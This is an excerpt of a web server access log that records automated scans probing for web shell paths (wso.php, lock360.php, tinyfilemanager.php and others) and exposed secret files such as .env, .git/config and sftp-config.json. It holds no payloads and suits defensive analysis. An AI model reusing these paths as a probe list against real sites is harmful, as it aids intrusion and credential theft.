301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 20.63.84.172 - - [08/Apr/2026:13:53:44 +0300] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 74.248.135.90 - - [08/Apr/2026:14:35:29 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 106.63.26.29 - - [08/Apr/2026:14:18:40 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0" 106.63.26.29 - - [08/Apr/2026:13:27:21 +0300] "GET /config.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11" 106.63.26.29 - - [08/Apr/2026:13:32:24 +0300] "GET /wp-content/plugins/header-footer-elementor/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows 98) AppleWebKit/534.0 (KHTML, like Gecko) Chrome/47.0.807.0 Safari/534.0" 20.63.84.172 - - [08/Apr/2026:13:53:44 +0300] "POST /wp-plain.php HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 106.63.26.20 - - [08/Apr/2026:14:19:09 +0300] "GET /sitemap.xml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0" 34.77.72.10 - - [08/Apr/2026:14:43:12 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)" 109.123.253.36 - - [08/Apr/2026:13:11:08 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.104.201.101 - - [08/Apr/2026:14:41:05 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 34.77.72.10 - - [08/Apr/2026:15:12:18 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 117.62.235.53 - - [08/Apr/2026:16:22:53 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 144.172.114.155 - - [08/Apr/2026:15:54:30 +0300] "GET /wp-content/plugins/unzipper.php HTTP/1.1" 301 795 "-" "Python-urllib/2.7" 159.223.174.106 - - [08/Apr/2026:16:23:08 +0300] "GET /.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 43.130.139.136 - - [08/Apr/2026:17:45:39 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.85.123.27 - - [08/Apr/2026:17:08:09 +0300] "POST / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30" 89.163.146.197 - - [08/Apr/2026:18:02:33 +0300] "GET /txets.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 34.70.140.52 - - [08/Apr/2026:18:23:25 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)" 13.218.84.34 - - [08/Apr/2026:16:54:16 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 69.171.231.21 - - [08/Apr/2026:16:56:33 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 20.48.232.178 - - [08/Apr/2026:16:57:00 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.85.123.27 - - [08/Apr/2026:17:08:09 +0300] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30" 107.189.7.189 - - [08/Apr/2026:17:44:10 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 49.51.204.74 - - [08/Apr/2026:18:28:02 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 144.172.114.155 - - [08/Apr/2026:20:37:50 +0300] "HEAD /wp.zip HTTP/1.1" 301 0 "-" "python-requests/2.27.1" 34.70.140.52 - - [08/Apr/2026:19:01:08 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 20.199.97.195 - - [08/Apr/2026:20:56:24 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 141.98.11.224 - - [08/Apr/2026:20:31:16 +0300] "GET / HTTP/1.0" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 103.65.237.124 - - [08/Apr/2026:22:06:14 +0300] "GET /.vscode/sftp.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 199.45.154.139 - - [08/Apr/2026:23:16:25 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 68.183.201.16 - - [08/Apr/2026:22:06:17 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0" 43.130.47.33 - - [08/Apr/2026:23:31:22 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 68.183.201.16 - - [08/Apr/2026:22:06:17 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0" 141.98.11.23 - - [08/Apr/2026:22:40:49 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://www.google.com/search?q=wordpress" "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_6_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Safari/605.1.15" 121.229.185.160 - - [08/Apr/2026:22:42:42 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 66.132.224.92 - - [08/Apr/2026:21:38:23 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 103.65.237.124 - - [08/Apr/2026:22:06:09 +0300] "GET /sftp-config.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 43.135.135.57 - - [09/Apr/2026:00:29:21 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 103.214.20.190 - - [09/Apr/2026:00:43:16 +0300] "GET /bless.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 103.214.20.190 - - [09/Apr/2026:00:43:17 +0300] "GET /O-Simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:43:17 +0300] "GET /lock360.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:43:18 +0300] "GET /zwso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 103.214.20.190 - - [09/Apr/2026:00:43:18 +0300] "GET /chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:43:19 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:43:19 +0300] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:43:20 +0300] "GET /mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:43:20 +0300] "GET /.wp/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 103.214.20.190 - - [09/Apr/2026:00:43:21 +0300] "GET /core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 103.214.20.190 - - [09/Apr/2026:00:43:21 +0300] "GET /robots.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:43:22 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:43:22 +0300] "GET /mini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:43:23 +0300] "GET /goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:43:23 +0300] "GET /file5.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 103.214.20.190 - - [09/Apr/2026:00:43:24 +0300] "GET /ahax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:43:24 +0300] "GET /f35.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 103.214.20.190 - - [09/Apr/2026:00:43:25 +0300] "GET /simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:43:25 +0300] "GET /amax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:43:26 +0300] "GET /update/f35.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:43:26 +0300] "GET /wp-content/hello.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:43:27 +0300] "GET /wp-admin/maint/bootstrap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 103.214.20.190 - - [09/Apr/2026:00:43:27 +0300] "GET /themes/zMousse/otuz1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:43:28 +0300] "GET /wp-content/edit-wolf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:43:28 +0300] "GET /wp-content/plugins/ubh/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:43:29 +0300] "GET /wp-admin/images/bootstrap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 103.214.20.190 - - [09/Apr/2026:00:43:29 +0300] "GET /images/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 103.214.20.190 - - [09/Apr/2026:00:43:30 +0300] "GET /wp-content/plugins/seoplugins/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 103.214.20.190 - - [09/Apr/2026:00:43:30 +0300] "GET /wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:43:31 +0300] "GET /wp-content/plugins/linkpreview/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:43:31 +0300] "GET /admin/uploads/bn_1_1754420677.phtml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 103.214.20.190 - - [09/Apr/2026:00:43:32 +0300] "GET /modules/mod_simplefileuploadv1.3/elements/udd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:43:32 +0300] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:43:33 +0300] "GET /wp-content/plugins/pwnd-1/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 103.214.20.190 - - [09/Apr/2026:00:43:33 +0300] "GET /wp-admin/css/colors/midnight/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:43:34 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/kill.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:43:34 +0300] "GET /wp-includes/style-engine/worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 103.214.20.190 - - [09/Apr/2026:00:43:35 +0300] "GET /wp-admin/images/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:43:36 +0300] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 103.214.20.190 - - [09/Apr/2026:00:43:36 +0300] "GET /wp-content/plugins/envato-css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 103.214.20.190 - - [09/Apr/2026:00:43:37 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 103.214.20.190 - - [09/Apr/2026:00:43:37 +0300] "GET /uploads/94056-upload.phtml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 103.214.20.190 - - [09/Apr/2026:00:43:38 +0300] "GET /index/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:43:38 +0300] "GET /tinyfilemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:43:39 +0300] "GET /js/bas.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:43:39 +0300] "GET /.well-known/pki-validation/moon.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:43:40 +0300] "GET /file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 103.214.20.190 - - [09/Apr/2026:00:43:40 +0300] "GET /wp-includes/js/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 103.214.20.190 - - [09/Apr/2026:00:43:41 +0300] "GET /wp-content/upgrade/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 103.214.20.190 - - [09/Apr/2026:00:43:41 +0300] "GET /buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:43:42 +0300] "GET /wp-content/languages/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 103.214.20.190 - - [09/Apr/2026:00:43:42 +0300] "GET /wp-content/themes/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 103.214.20.190 - - [09/Apr/2026:00:43:43 +0300] "GET /wp-content/plugins/elementor/wp-wjvngrh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:43:43 +0300] "GET /wp-includes/IXR/fix.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:43:44 +0300] "GET /wp-includes/widgets/dyqvcfqv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:43:44 +0300] "GET /admin/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 103.214.20.190 - - [09/Apr/2026:00:43:45 +0300] "GET /wp-includes/images/smilies/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 103.214.20.190 - - [09/Apr/2026:00:43:45 +0300] "GET /wp-includes/js/crop/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 103.214.20.190 - - [09/Apr/2026:00:43:46 +0300] "GET /wp-includes/PHPMailer/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 103.214.20.190 - - [09/Apr/2026:00:43:46 +0300] "GET /wp-includes/PHPMailer/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 103.214.20.190 - - [09/Apr/2026:00:43:47 +0300] "GET /wp-includes/widgets/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:43:47 +0300] "GET /files/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:43:48 +0300] "GET /wp-includes/PHPMailer/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:43:48 +0300] "GET /inc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:43:49 +0300] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:43:49 +0300] "GET /filemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:43:50 +0300] "GET /cgi-bin/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 103.214.20.190 - - [09/Apr/2026:00:43:50 +0300] "GET /.well-known/pki-validation/admin.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 103.214.20.190 - - [09/Apr/2026:00:43:51 +0300] "GET /wp-includes/IXR/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:43:51 +0300] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:43:52 +0300] "GET /wp-includes/js/jquery/jquery.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 103.214.20.190 - - [09/Apr/2026:00:43:52 +0300] "GET /function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 103.214.20.190 - - [09/Apr/2026:00:43:53 +0300] "GET /wp-includes/block-supports/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:43:53 +0300] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:43:54 +0300] "GET /wp-admin/network/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:43:54 +0300] "GET /admin/upload/css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:43:55 +0300] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 